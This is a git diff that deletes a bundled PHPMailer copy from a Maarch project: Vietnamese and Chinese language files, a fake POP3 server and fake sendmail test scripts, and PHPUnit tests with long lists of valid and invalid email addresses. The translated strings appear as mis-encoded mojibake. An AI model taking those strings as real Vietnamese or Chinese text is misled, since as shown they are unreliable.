-$PHPMAILER_LANG['provide_address'] = 'Bạn phải cung cấp Ãt nhất má»™t địa chỉ ngÆ°á»i nháºn.'; -$PHPMAILER_LANG['recipients_failed'] = 'Lá»—i SMTP: lá»—i địa chỉ ngÆ°á»i nháºn: '; -$PHPMAILER_LANG['signing'] = 'Lá»—i đăng nháºp: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Lá»—i kết nối vá»›i SMTP'; -$PHPMAILER_LANG['smtp_error'] = 'Lá»—i máy chủ smtp '; -$PHPMAILER_LANG['variable_set'] = 'Không thể thiết láºp hoặc thiết láºp lại biến: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-zh.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-zh.php deleted file mode 100755 index 3e9e358ceb554cc3151006ef15dcf940b335db89..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-zh.php +++ /dev/null @@ -1,28 +0,0 @@ -<?php -/** - * Traditional Chinese PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author liqwei <liqwei@liqwei.com> - * @author Peter Dave Hello <@PeterDaveHello/> - * @author Jason Chiang <xcojad@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP 錯誤:登入失敗。'; -$PHPMAILER_LANG['connect_host'] = 'SMTP 錯誤:無法連線到 SMTP 主機。'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP 錯誤:無法接å—的資料。'; -$PHPMAILER_LANG['empty_message'] = '郵件內容為空'; -$PHPMAILER_LANG['encoding'] = '未知編碼: '; -$PHPMAILER_LANG['execute'] = '無法執行:'; -$PHPMAILER_LANG['file_access'] = '無法å˜å–檔案:'; -$PHPMAILER_LANG['file_open'] = '檔案錯誤:無法開啟檔案:'; -$PHPMAILER_LANG['from_failed'] = '發é€åœ°å€éŒ¯èª¤ï¼š'; -$PHPMAILER_LANG['instantiate'] = '未知函數呼å«ã€‚'; -$PHPMAILER_LANG['invalid_address'] = 'å› ç‚ºé›»å郵件地å€ç„¡æ•ˆï¼Œç„¡æ³•å‚³é€: '; -$PHPMAILER_LANG['mailer_not_supported'] = 'ä¸æ”¯æ´çš„發信客戶端。'; -$PHPMAILER_LANG['provide_address'] = 'å¿…é ˆæ供至少一個收件人地å€ã€‚'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP 錯誤:以下收件人地å€éŒ¯èª¤ï¼š'; -$PHPMAILER_LANG['signing'] = 'é›»åç°½ç« éŒ¯èª¤: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP 連線失敗'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP 伺æœå™¨éŒ¯èª¤: '; -$PHPMAILER_LANG['variable_set'] = '無法è¨å®šæˆ–é‡è¨è®Šæ•¸: '; -$PHPMAILER_LANG['extension_missing'] = 'éºå¤±æ¨¡çµ„ Extension: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-zh_cn.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-zh_cn.php deleted file mode 100755 index d85a0b1a7d599c59efe1e2f926e78ff1f2f6ce6d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-zh_cn.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php -/** - * Simplified Chinese PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author liqwei <liqwei@liqwei.com> - * @author young <masxy@foxmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP 错误:登录失败。'; -$PHPMAILER_LANG['connect_host'] = 'SMTP é”™è¯¯ï¼šæ— æ³•è¿žæŽ¥åˆ° SMTP 主机。'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP 错误:数æ®ä¸è¢«æŽ¥å—。'; -$PHPMAILER_LANG['empty_message'] = '邮件æ£æ–‡ä¸ºç©ºã€‚'; -$PHPMAILER_LANG['encoding'] = '未知编ç : '; -$PHPMAILER_LANG['execute'] = 'æ— æ³•æ‰§è¡Œï¼š'; -$PHPMAILER_LANG['file_access'] = 'æ— æ³•è®¿é—®æ–‡ä»¶ï¼š'; -$PHPMAILER_LANG['file_open'] = 'æ–‡ä»¶é”™è¯¯ï¼šæ— æ³•æ‰“å¼€æ–‡ä»¶ï¼š'; -$PHPMAILER_LANG['from_failed'] = 'å‘é€åœ°å€é”™è¯¯ï¼š'; -$PHPMAILER_LANG['instantiate'] = '未知函数调用。'; -$PHPMAILER_LANG['invalid_address'] = 'å‘é€å¤±è´¥ï¼Œç”µå邮箱地å€æ˜¯æ— 效的:'; -$PHPMAILER_LANG['mailer_not_supported'] = 'å‘信客户端ä¸è¢«æ”¯æŒã€‚'; -$PHPMAILER_LANG['provide_address'] = 'å¿…é¡»æ供至少一个收件人地å€ã€‚'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP 错误:收件人地å€é”™è¯¯ï¼š'; -$PHPMAILER_LANG['signing'] = '登录失败:'; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTPæœåŠ¡å™¨è¿žæŽ¥å¤±è´¥ã€‚'; -$PHPMAILER_LANG['smtp_error'] = 'SMTPæœåŠ¡å™¨å‡ºé”™: '; -$PHPMAILER_LANG['variable_set'] = 'æ— æ³•è®¾ç½®æˆ–é‡ç½®å˜é‡ï¼š'; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/test/bootstrap.php b/apps/maarch_entreprise/tools/PHPMailer/test/bootstrap.php deleted file mode 100755 index 056c16d1e76021e3cd0d00667cdad5e20adde6c6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/test/bootstrap.php +++ /dev/null @@ -1,5 +0,0 @@ -<?php -require_once 'vendor/autoload.php'; -spl_autoload_register(function ($class) { - require_once strtr($class, '\\_', '//').'.php'; -}); diff --git a/apps/maarch_entreprise/tools/PHPMailer/test/fakepopserver.sh b/apps/maarch_entreprise/tools/PHPMailer/test/fakepopserver.sh deleted file mode 100755 index 92c1edb0ebb152b85e7a8d73cb6ba323049399d3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/test/fakepopserver.sh +++ /dev/null @@ -1,125 +0,0 @@ -#!/usr/bin/env bash - -# Fake POP3 server -# By Marcus Bointon <phpmailer@synchromedia.co.uk> -# Based on code by 'Frater' found at http://www.linuxquestions.org/questions/programming-9/fake-pop3-server-to-capture-pop3-passwords-933733 -# Does not actually serve any mail, but supports commands sufficient to test POP-before SMTP -# Can be run directly from a shell like this: -# mkfifo fifo; nc -l 1100 <fifo |./fakepopserver.sh >fifo; rm fifo -# It will accept any user name and will return a positive response for the password 'test' - -# Licensed under the GNU Lesser General Public License: http://www.gnu.org/copyleft/lesser.html - -# Enable debug output -#set -xv -export PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin - -LOGFOLDER=/tmp - -LOGFILE=${LOGFOLDER}/fakepop.log - -LOGGING=1 -DEBUG=1 -TIMEOUT=60 - -POP_USER= -POP_PASSWRD=test - -LINES=1 -BREAK=0 - -write_log () { - if [ ${LINES} -eq 1 ] ; then - echo '---' >>${LOGFILE} - fi - let LINES+=1 - [ ${LOGGING} = 0 ] || echo -e "`date '+%b %d %H:%M'` pop3 $*" >>${LOGFILE} -} - -ANSWER="+OK Fake POP3 Service Ready" - -while [ ${BREAK} -eq 0 ] ; do - echo -en "${ANSWER}\r\n" - - REPLY="" - - #Input appears in $REPLY - read -t ${TIMEOUT} - - ANSWER="+OK " - COMMAND="" - ARGS="" - TIMEOUT=30 - - if [ "$REPLY" ] ; then - write_log "RAW input: '`echo "${REPLY}" | tr -cd '[ -~]'`'" - - COMMAND="`echo "${REPLY}" | awk '{print $1}' | tr -cd '\40-\176' | tr 'a-z' 'A-Z'`" - ARGS="`echo "${REPLY}" | tr -cd '\40-\176' | awk '{for(i=2;i<=NF;i++){printf "%s ", $i};printf "\n"}' | sed 's/ $//'`" - - write_log "Command: \"${COMMAND}\"" - write_log "Arguments: \"${ARGS}\"" - - case "$COMMAND" in - QUIT) - break - ;; - USER) - if [ -n "${ARGS}" ] ; then - POP_USER="${ARGS}" - ANSWER="+OK Please send PASS command" - fi - ;; - AUTH) - ANSWER="+OK \r\n." - ;; - CAPA) - ANSWER="+OK Capabilities include\r\nUSER\r\nCAPA\r\n." - ;; - PASS) - if [ "${POP_PASSWRD}" == "${ARGS}" ] ; then - ANSWER="+OK Logged in." - AUTH=1 - else - ANSWER="-ERR Login failed." - fi - ;; - LIST) - if [ "${AUTH}" = 0 ] ; then - ANSWER="-ERR Not authenticated" - else - if [ -z "${ARGS}" ] ; then - ANSWER="+OK No messages, really\r\n." - else - ANSWER="-ERR No messages, no list, no status" - fi - fi - ;; - RSET) - ANSWER="+OK Resetting or whatever\r\n." - ;; - LAST) - if [ "${AUTH}" = 0 ] ; then - ANSWER="-ERR Not authenticated" - else - ANSWER="+OK 0" - fi - ;; - STAT) - if [ "${AUTH}" = 0 ] ; then - ANSWER="-ERR Not authenticated" - else - ANSWER="+OK 0 0" - fi - ;; - NOOP) - ANSWER="+OK Hang on, doing nothing" - ;; - esac - else - echo "+OK Connection timed out" - break - fi -done - -echo "+OK Bye!\r\n" diff --git a/apps/maarch_entreprise/tools/PHPMailer/test/fakesendmail.sh b/apps/maarch_entreprise/tools/PHPMailer/test/fakesendmail.sh deleted file mode 100755 index c9f17a568b6a00a717fe96f5ff49b991b8ffd284..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/test/fakesendmail.sh +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env bash -#Fake sendmail script, adapted from: -#https://github.com/mrded/MNPP/blob/ee64fb2a88efc70ba523b78e9ce61f9f1ed3b4a9/init/fake-sendmail.sh - -#Create a temp folder to put messages in -numPath="${TMPDIR-/tmp/}fakemail" -umask 037 -mkdir -p $numPath - -if [ ! -f $numPath/num ]; then - echo "0" > $numPath/num -fi -num=`cat $numPath/num` -num=$(($num + 1)) -echo $num > $numPath/num - -name="$numPath/message_$num.eml" -while read line -do - echo $line >> $name -done -exit 0 diff --git a/apps/maarch_entreprise/tools/PHPMailer/test/phpmailerLangTest.php b/apps/maarch_entreprise/tools/PHPMailer/test/phpmailerLangTest.php deleted file mode 100755 index e5040d4c4f9cf54ef83120ba2ee1fbb384f6fc5a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/test/phpmailerLangTest.php +++ /dev/null @@ -1,76 +0,0 @@ -<?php -/** - * PHPMailer - language file tests - * Requires PHPUnit 3.3 or later. - * - * PHP version 5.0.0 - * - * @package PHPMailer - * @author Andy Prevost - * @author Marcus Bointon <phpmailer@synchromedia.co.uk> - * @copyright 2004 - 2009 Andy Prevost - * @copyright 2010 Marcus Bointon - * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License - */ - -require_once '../PHPMailerAutoload.php'; - -/** - * PHPMailer - PHP email transport unit test class - * Performs authentication tests - */ -class PHPMailerLangTest extends PHPUnit_Framework_TestCase -{ - /** - * Holds a phpmailer instance. - * @private - * @var PHPMailer - */ - public $Mail; - - /** - * @var string Default include path - */ - public $INCLUDE_DIR = '../'; - - /** - * Run before each test is started. - */ - public function setUp() - { - $this->Mail = new PHPMailer; - } - - /** - * Test language files for missing and excess translations - * All languages are compared with English - * @group languages - */ - public function testTranslations() - { - $this->Mail->setLanguage('en'); - $definedStrings = $this->Mail->getTranslations(); - $err = ''; - foreach (new DirectoryIterator('../language') as $fileInfo) { - if ($fileInfo->isDot()) { - continue; - } - $matches = array(); - //Only look at language files, ignore anything else in there - if (preg_match('/^phpmailer\.lang-([a-z_]{2,})\.php$/', $fileInfo->getFilename(), $matches)) { - $lang = $matches[1]; //Extract language code - $PHPMAILER_LANG = array(); //Language strings get put in here - include $fileInfo->getPathname(); //Get language strings - $missing = array_diff(array_keys($definedStrings), array_keys($PHPMAILER_LANG)); - $extra = array_diff(array_keys($PHPMAILER_LANG), array_keys($definedStrings)); - if (!empty($missing)) { - $err .= "\nMissing translations in $lang: " . implode(', ', $missing); - } - if (!empty($extra)) { - $err .= "\nExtra translations in $lang: " . implode(', ', $extra); - } - } - } - $this->assertEmpty($err, $err); - } -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/test/phpmailerTest.php b/apps/maarch_entreprise/tools/PHPMailer/test/phpmailerTest.php deleted file mode 100755 index 50450749b93f347febde906a1831f97b09ddea86..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/test/phpmailerTest.php +++ /dev/null @@ -1,2166 +0,0 @@ -<?php -/** - * PHPMailer - PHP email transport unit tests - * Requires PHPUnit 3.3 or later. - * - * PHP version 5.0.0 - * - * @package PHPMailer - * @author Andy Prevost - * @author Marcus Bointon <phpmailer@synchromedia.co.uk> - * @copyright 2004 - 2009 Andy Prevost - * @copyright 2010 Marcus Bointon - * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License - */ - -require_once realpath('../PHPMailerAutoload.php'); - -/** - * PHPMailer - PHP email transport unit test class - * Performs authentication tests - */ -class PHPMailerTest extends PHPUnit_Framework_TestCase -{ - /** - * Holds the default phpmailer instance. - * @private - * @var PHPMailer - */ - public $Mail; - - /** - * Holds the SMTP mail host. - * @public - * @var string - */ - public $Host = ''; - - /** - * Holds the change log. - * @private - * @var string[] - */ - public $ChangeLog = array(); - - /** - * Holds the note log. - * @private - * @var string[] - */ - public $NoteLog = array(); - - /** - * PIDs of any processes we need to kill - * @var array - * @access private - */ - private $pids = array(); - - /** - * Default include path - * @var string - */ - const INCLUDE_DIR = '../'; - - /** - * Run before each test is started. - */ - public function setUp() - { - if (file_exists('testbootstrap.php')) { - include 'testbootstrap.php'; //Overrides go in here - } - $this->Mail = new PHPMailer; - $this->Mail->SMTPDebug = 3; //Full debug output - $this->Mail->Priority = 3; - $this->Mail->Encoding = '8bit'; - $this->Mail->CharSet = 'iso-8859-1'; - if (array_key_exists('mail_from', $_REQUEST)) { - $this->Mail->From = $_REQUEST['mail_from']; - } else { - $this->Mail->From = 'unit_test@phpmailer.example.com'; - } - $this->Mail->FromName = 'Unit Tester'; - $this->Mail->Sender = ''; - $this->Mail->Subject = 'Unit Test'; - $this->Mail->Body = ''; - $this->Mail->AltBody = ''; - $this->Mail->WordWrap = 0; - if (array_key_exists('mail_host', $_REQUEST)) { - $this->Mail->Host = $_REQUEST['mail_host']; - } else { - $this->Mail->Host = 'mail.example.com'; - } - if (array_key_exists('mail_port', $_REQUEST)) { - $this->Mail->Port = $_REQUEST['mail_port']; - } else { - $this->Mail->Port = 25; - } - $this->Mail->Helo = 'localhost.localdomain'; - $this->Mail->SMTPAuth = false; - $this->Mail->Username = ''; - $this->Mail->Password = ''; - $this->Mail->addReplyTo('no_reply@phpmailer.example.com', 'Reply Guy'); - $this->Mail->Sender = 'unit_test@phpmailer.example.com'; - if (strlen($this->Mail->Host) > 0) { - $this->Mail->Mailer = 'smtp'; - } else { - $this->Mail->Mailer = 'mail'; - } - if (array_key_exists('mail_to', $_REQUEST)) { - $this->setAddress($_REQUEST['mail_to'], 'Test User', 'to'); - } - if (array_key_exists('mail_cc', $_REQUEST) and strlen($_REQUEST['mail_cc']) > 0) { - $this->setAddress($_REQUEST['mail_cc'], 'Carbon User', 'cc'); - } - } - - /** - * Run after each test is completed. - */ - public function tearDown() - { - // Clean global variables - $this->Mail = null; - $this->ChangeLog = array(); - $this->NoteLog = array(); - - foreach ($this->pids as $pid) { - $p = escapeshellarg($pid); - shell_exec("ps $p && kill -TERM $p"); - } - } - - - /** - * Build the body of the message in the appropriate format. - * - * @private - * @return void - */ - public function buildBody() - { - $this->checkChanges(); - - // Determine line endings for message - if ($this->Mail->ContentType == 'text/html' || strlen($this->Mail->AltBody) > 0) { - $eol = "<br>\r\n"; - $bullet_start = '<li>'; - $bullet_end = "</li>\r\n"; - $list_start = "<ul>\r\n"; - $list_end = "</ul>\r\n"; - } else { - $eol = "\r\n"; - $bullet_start = ' - '; - $bullet_end = "\r\n"; - $list_start = ''; - $list_end = ''; - } - - $ReportBody = ''; - - $ReportBody .= '---------------------' . $eol; - $ReportBody .= 'Unit Test Information' . $eol; - $ReportBody .= '---------------------' . $eol; - $ReportBody .= 'phpmailer version: ' . $this->Mail->Version . $eol; - $ReportBody .= 'Content Type: ' . $this->Mail->ContentType . $eol; - $ReportBody .= 'CharSet: ' . $this->Mail->CharSet . $eol; - - if (strlen($this->Mail->Host) > 0) { - $ReportBody .= 'Host: ' . $this->Mail->Host . $eol; - } - - // If attachments then create an attachment list - $attachments = $this->Mail->getAttachments(); - if (count($attachments) > 0) { - $ReportBody .= 'Attachments:' . $eol; - $ReportBody .= $list_start; - foreach ($attachments as $attachment) { - $ReportBody .= $bullet_start . 'Name: ' . $attachment[1] . ', '; - $ReportBody .= 'Encoding: ' . $attachment[3] . ', '; - $ReportBody .= 'Type: ' . $attachment[4] . $bullet_end; - } - $ReportBody .= $list_end . $eol; - } - - // If there are changes then list them - if (count($this->ChangeLog) > 0) { - $ReportBody .= 'Changes' . $eol; - $ReportBody .= '-------' . $eol; - - $ReportBody .= $list_start; - for ($i = 0; $i < count($this->ChangeLog); $i++) { - $ReportBody .= $bullet_start . $this->ChangeLog[$i][0] . ' was changed to [' . - $this->ChangeLog[$i][1] . ']' . $bullet_end; - } - $ReportBody .= $list_end . $eol . $eol; - } - - // If there are notes then list them - if (count($this->NoteLog) > 0) { - $ReportBody .= 'Notes' . $eol; - $ReportBody .= '-----' . $eol; - - $ReportBody .= $list_start; - for ($i = 0; $i < count($this->NoteLog); $i++) { - $ReportBody .= $bullet_start . $this->NoteLog[$i] . $bullet_end; - } - $ReportBody .= $list_end; - } - - // Re-attach the original body - $this->Mail->Body .= $eol . $ReportBody; - } - - /** - * Check which default settings have been changed for the report. - * @private - * @return void - */ - public function checkChanges() - { - if ($this->Mail->Priority != 3) { - $this->addChange('Priority', $this->Mail->Priority); - } - if ($this->Mail->Encoding != '8bit') { - $this->addChange('Encoding', $this->Mail->Encoding); - } - if ($this->Mail->CharSet != 'iso-8859-1') { - $this->addChange('CharSet', $this->Mail->CharSet); - } - if ($this->Mail->Sender != '') { - $this->addChange('Sender', $this->Mail->Sender); - } - if ($this->Mail->WordWrap != 0) { - $this->addChange('WordWrap', $this->Mail->WordWrap); - } - if ($this->Mail->Mailer != 'mail') { - $this->addChange('Mailer', $this->Mail->Mailer); - } - if ($this->Mail->Port != 25) { - $this->addChange('Port', $this->Mail->Port); - } - if ($this->Mail->Helo != 'localhost.localdomain') { - $this->addChange('Helo', $this->Mail->Helo); - } - if ($this->Mail->SMTPAuth) { - $this->addChange('SMTPAuth', 'true'); - } - } - - /** - * Add a changelog entry. - * @access private - * @param string $sName - * @param string $sNewValue - * @return void - */ - public function addChange($sName, $sNewValue) - { - $this->ChangeLog[] = array($sName, $sNewValue); - } - - /** - * Adds a simple note to the message. - * @public - * @param string $sValue - * @return void - */ - public function addNote($sValue) - { - $this->NoteLog[] = $sValue; - } - - /** - * Adds all of the addresses - * @access public - * @param string $sAddress - * @param string $sName - * @param string $sType - * @return boolean - */ - public function setAddress($sAddress, $sName = '', $sType = 'to') - { - switch ($sType) { - case 'to': - return $this->Mail->addAddress($sAddress, $sName); - case 'cc': - return $this->Mail->addCC($sAddress, $sName); - case 'bcc': - return $this->Mail->addBCC($sAddress, $sName); - } - return false; - } - - /** - * Check that we have loaded default test params. - * Pretty much everything will fail due to unset recipient if this is not done. - */ - public function testBootstrap() - { - $this->assertTrue( - file_exists('testbootstrap.php'), - 'Test config params missing - copy testbootstrap.php to testbootstrap-dist.php and change as appropriate' - ); - } - - /** - * Test CRAM-MD5 authentication. - * Needs a connection to a server that supports this auth mechanism, so commented out by default - */ - public function testAuthCRAMMD5() - { - $this->Mail->Host = 'hostname'; - $this->Mail->Port = 587; - $this->Mail->SMTPAuth = true; - $this->Mail->SMTPSecure = 'tls'; - $this->Mail->AuthType = 'CRAM-MD5'; - $this->Mail->Username = 'username'; - $this->Mail->Password = 'password'; - $this->Mail->Body = 'Test body'; - $this->Mail->Subject .= ': Auth CRAM-MD5'; - $this->Mail->From = 'from@example.com'; - $this->Mail->Sender = 'from@example.com'; - $this->Mail->clearAllRecipients(); - $this->Mail->addAddress('user@example.com'); - //$this->assertTrue($this->mail->send(), $this->mail->ErrorInfo); - } - - /** - * Test email address validation. - * Test addresses obtained from http://isemail.info - * Some failing cases commented out that are apparently up for debate! - */ - public function testValidate() - { - $validaddresses = array( - 'first@iana.org', - 'first.last@iana.org', - '1234567890123456789012345678901234567890123456789012345678901234@iana.org', - '"first\"last"@iana.org', - '"first@last"@iana.org', - '"first\last"@iana.org', - 'first.last@[12.34.56.78]', - 'first.last@[IPv6:::12.34.56.78]', - 'first.last@[IPv6:1111:2222:3333::4444:12.34.56.78]', - 'first.last@[IPv6:1111:2222:3333:4444:5555:6666:12.34.56.78]', - 'first.last@[IPv6:::1111:2222:3333:4444:5555:6666]', - 'first.last@[IPv6:1111:2222:3333::4444:5555:6666]', - 'first.last@[IPv6:1111:2222:3333:4444:5555:6666::]', - 'first.last@[IPv6:1111:2222:3333:4444:5555:6666:7777:8888]', - 'first.last@x23456789012345678901234567890123456789012345678901234567890123.iana.org', - 'first.last@3com.com', - 'first.last@123.iana.org', - '"first\last"@iana.org', - 'first.last@[IPv6:1111:2222:3333::4444:5555:12.34.56.78]', - 'first.last@[IPv6:1111:2222:3333::4444:5555:6666:7777]', - 'first.last@example.123', - 'first.last@com', - '"Abc\@def"@iana.org', - '"Fred\ Bloggs"@iana.org', - '"Joe.\Blow"@iana.org', - '"Abc@def"@iana.org', - 'user+mailbox@iana.org', - 'customer/department=shipping@iana.org', - '$A12345@iana.org', - '!def!xyz%abc@iana.org', - '_somename@iana.org', - 'dclo@us.ibm.com', - 'peter.piper@iana.org', - '"Doug \"Ace\" L."@iana.org', - 'test@iana.org', - 'TEST@iana.org', - '1234567890@iana.org', - 'test+test@iana.org', - 'test-test@iana.org', - 't*est@iana.org', - '+1~1+@iana.org', - '{_test_}@iana.org', - '"[[ test ]]"@iana.org', - 'test.test@iana.org', - '"test.test"@iana.org', - 'test."test"@iana.org', - '"test@test"@iana.org', - 'test@123.123.123.x123', - 'test@123.123.123.123', - 'test@[123.123.123.123]', - 'test@example.iana.org', - 'test@example.example.iana.org', - '"test\test"@iana.org', - 'test@example', - '"test\blah"@iana.org', - '"test\blah"@iana.org', - '"test\"blah"@iana.org', - 'customer/department@iana.org', - '_Yosemite.Sam@iana.org', - '~@iana.org', - '"Austin@Powers"@iana.org', - 'Ima.Fool@iana.org', - '"Ima.Fool"@iana.org', - '"Ima Fool"@iana.org', - '"first"."last"@iana.org', - '"first".middle."last"@iana.org', - '"first".last@iana.org', - 'first."last"@iana.org', - '"first"."middle"."last"@iana.org', - '"first.middle"."last"@iana.org', - '"first.middle.last"@iana.org', - '"first..last"@iana.org', - '"first\"last"@iana.org', - 'first."mid\dle"."last"@iana.org', - '"test blah"@iana.org', - '(foo)cal(bar)@(baz)iamcal.com(quux)', - 'cal@iamcal(woo).(yay)com', - 'cal(woo(yay)hoopla)@iamcal.com', - 'cal(foo\@bar)@iamcal.com', - 'cal(foo\)bar)@iamcal.com', - 'first().last@iana.org', - 'pete(his account)@silly.test(his host)', - 'c@(Chris\'s host.)public.example', - 'jdoe@machine(comment). example', - '1234 @ local(blah) .machine .example', - 'first(abc.def).last@iana.org', - 'first(a"bc.def).last@iana.org', - 'first.(")middle.last(")@iana.org', - 'first(abc\(def)@iana.org', - 'first.last@x(1234567890123456789012345678901234567890123456789012345678901234567890).com', - 'a(a(b(c)d(e(f))g)h(i)j)@iana.org', - 'name.lastname@domain.com', - 'a@b', - 'a@bar.com', - 'aaa@[123.123.123.123]', - 'a@bar', - 'a-b@bar.com', - '+@b.c', - '+@b.com', - 'a@b.co-foo.uk', - '"hello my name is"@stutter.com', - '"Test \"Fail\" Ing"@iana.org', - 'valid@about.museum', - 'shaitan@my-domain.thisisminekthx', - 'foobar@192.168.0.1', - '"Joe\Blow"@iana.org', - 'HM2Kinsists@(that comments are allowed)this.is.ok', - 'user%uucp!path@berkeley.edu', - 'first.last @iana.org', - 'cdburgess+!#$%&\'*-/=?+_{}|~test@gmail.com', - 'first.last@[IPv6:::a2:a3:a4:b1:b2:b3:b4]', - 'first.last@[IPv6:a1:a2:a3:a4:b1:b2:b3::]', - 'first.last@[IPv6:::]', - 'first.last@[IPv6:::b4]', - 'first.last@[IPv6:::b3:b4]', - 'first.last@[IPv6:a1::b4]', - 'first.last@[IPv6:a1::]', - 'first.last@[IPv6:a1:a2::]', - 'first.last@[IPv6:0123:4567:89ab:cdef::]', - 'first.last@[IPv6:0123:4567:89ab:CDEF::]', - 'first.last@[IPv6:::a3:a4:b1:ffff:11.22.33.44]', - 'first.last@[IPv6:::a2:a3:a4:b1:ffff:11.22.33.44]', - 'first.last@[IPv6:a1:a2:a3:a4::11.22.33.44]', - 'first.last@[IPv6:a1:a2:a3:a4:b1::11.22.33.44]', - 'first.last@[IPv6:a1::11.22.33.44]', - 'first.last@[IPv6:a1:a2::11.22.33.44]', - 'first.last@[IPv6:0123:4567:89ab:cdef::11.22.33.44]', - 'first.last@[IPv6:0123:4567:89ab:CDEF::11.22.33.44]', - 'first.last@[IPv6:a1::b2:11.22.33.44]', - 'test@test.com', - 'test@xn--example.com', - 'test@example.com' - ); - $invalidaddresses = array( - 'first.last@sub.do,com', - 'first\@last@iana.org', - '123456789012345678901234567890123456789012345678901234567890' . - '@12345678901234567890123456789012345678901234 [...]', - 'first.last', - '12345678901234567890123456789012345678901234567890123456789012345@iana.org', - '.first.last@iana.org', - 'first.last.@iana.org', - 'first..last@iana.org', - '"first"last"@iana.org', - '"""@iana.org', - '"\"@iana.org', - //'""@iana.org', - 'first\@last@iana.org', - 'first.last@', - 'x@x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.x23456789.' . - 'x23456789.x23456789.x23456789.x23 [...]', - 'first.last@[.12.34.56.78]', - 'first.last@[12.34.56.789]', - 'first.last@[::12.34.56.78]', - 'first.last@[IPv5:::12.34.56.78]', - 'first.last@[IPv6:1111:2222:3333:4444:5555:12.34.56.78]', - 'first.last@[IPv6:1111:2222:3333:4444:5555:6666:7777:12.34.56.78]', - 'first.last@[IPv6:1111:2222:3333:4444:5555:6666:7777]', - 'first.last@[IPv6:1111:2222:3333:4444:5555:6666:7777:8888:9999]', - 'first.last@[IPv6:1111:2222::3333::4444:5555:6666]', - 'first.last@[IPv6:1111:2222:333x::4444:5555]', - 'first.last@[IPv6:1111:2222:33333::4444:5555]', - 'first.last@-xample.com', - 'first.last@exampl-.com', - 'first.last@x234567890123456789012345678901234567890123456789012345678901234.iana.org', - 'abc\@def@iana.org', - 'abc\@iana.org', - 'Doug\ \"Ace\"\ Lovell@iana.org', - 'abc@def@iana.org', - 'abc\@def@iana.org', - 'abc\@iana.org', - '@iana.org', - 'doug@', - '"qu@iana.org', - 'ote"@iana.org', - '.dot@iana.org', - 'dot.@iana.org', - 'two..dot@iana.org', - '"Doug "Ace" L."@iana.org', - 'Doug\ \"Ace\"\ L\.@iana.org', - 'hello world@iana.org', - //'helloworld@iana .org', - 'gatsby@f.sc.ot.t.f.i.tzg.era.l.d.', - 'test.iana.org', - 'test.@iana.org', - 'test..test@iana.org', - '.test@iana.org', - 'test@test@iana.org', - 'test@@iana.org', - '-- test --@iana.org', - '[test]@iana.org', - '"test"test"@iana.org', - '()[]\;:,><@iana.org', - 'test@.', - 'test@example.', - 'test@.org', - 'test@12345678901234567890123456789012345678901234567890123456789012345678901234567890' . - '12345678901234567890 [...]', - 'test@[123.123.123.123', - 'test@123.123.123.123]', - 'NotAnEmail', - '@NotAnEmail', - '"test"blah"@iana.org', - '.wooly@iana.org', - 'wo..oly@iana.org', - 'pootietang.@iana.org', - '.@iana.org', - 'Ima Fool@iana.org', - 'phil.h\@\@ck@haacked.com', - 'foo@[\1.2.3.4]', - //'first."".last@iana.org', - 'first\last@iana.org', - 'Abc\@def@iana.org', - 'Fred\ Bloggs@iana.org', - 'Joe.\Blow@iana.org', - 'first.last@[IPv6:1111:2222:3333:4444:5555:6666:12.34.567.89]', - '{^c\@**Dog^}@cartoon.com', - //'"foo"(yay)@(hoopla)[1.2.3.4]', - 'cal(foo(bar)@iamcal.com', - 'cal(foo)bar)@iamcal.com', - 'cal(foo\)@iamcal.com', - 'first(12345678901234567890123456789012345678901234567890)last@(1234567890123456789' . - '01234567890123456789012 [...]', - 'first(middle)last@iana.org', - 'first(abc("def".ghi).mno)middle(abc("def".ghi).mno).last@(abc("def".ghi).mno)example' . - '(abc("def".ghi).mno). [...]', - 'a(a(b(c)d(e(f))g)(h(i)j)@iana.org', - '.@', - '@bar.com', - '@@bar.com', - 'aaa.com', - 'aaa@.com', - 'aaa@.123', - 'aaa@[123.123.123.123]a', - 'aaa@[123.123.123.333]', - 'a@bar.com.', - 'a@-b.com', - 'a@b-.com', - '-@..com', - '-@a..com', - 'invalid@about.museum-', - 'test@...........com', - '"Unicode NULL' . chr(0) . '"@char.com', - 'Unicode NULL' . chr(0) . '@char.com', - 'first.last@[IPv6::]', - 'first.last@[IPv6::::]', - 'first.last@[IPv6::b4]', - 'first.last@[IPv6::::b4]', - 'first.last@[IPv6::b3:b4]', - 'first.last@[IPv6::::b3:b4]', - 'first.last@[IPv6:a1:::b4]', - 'first.last@[IPv6:a1:]', - 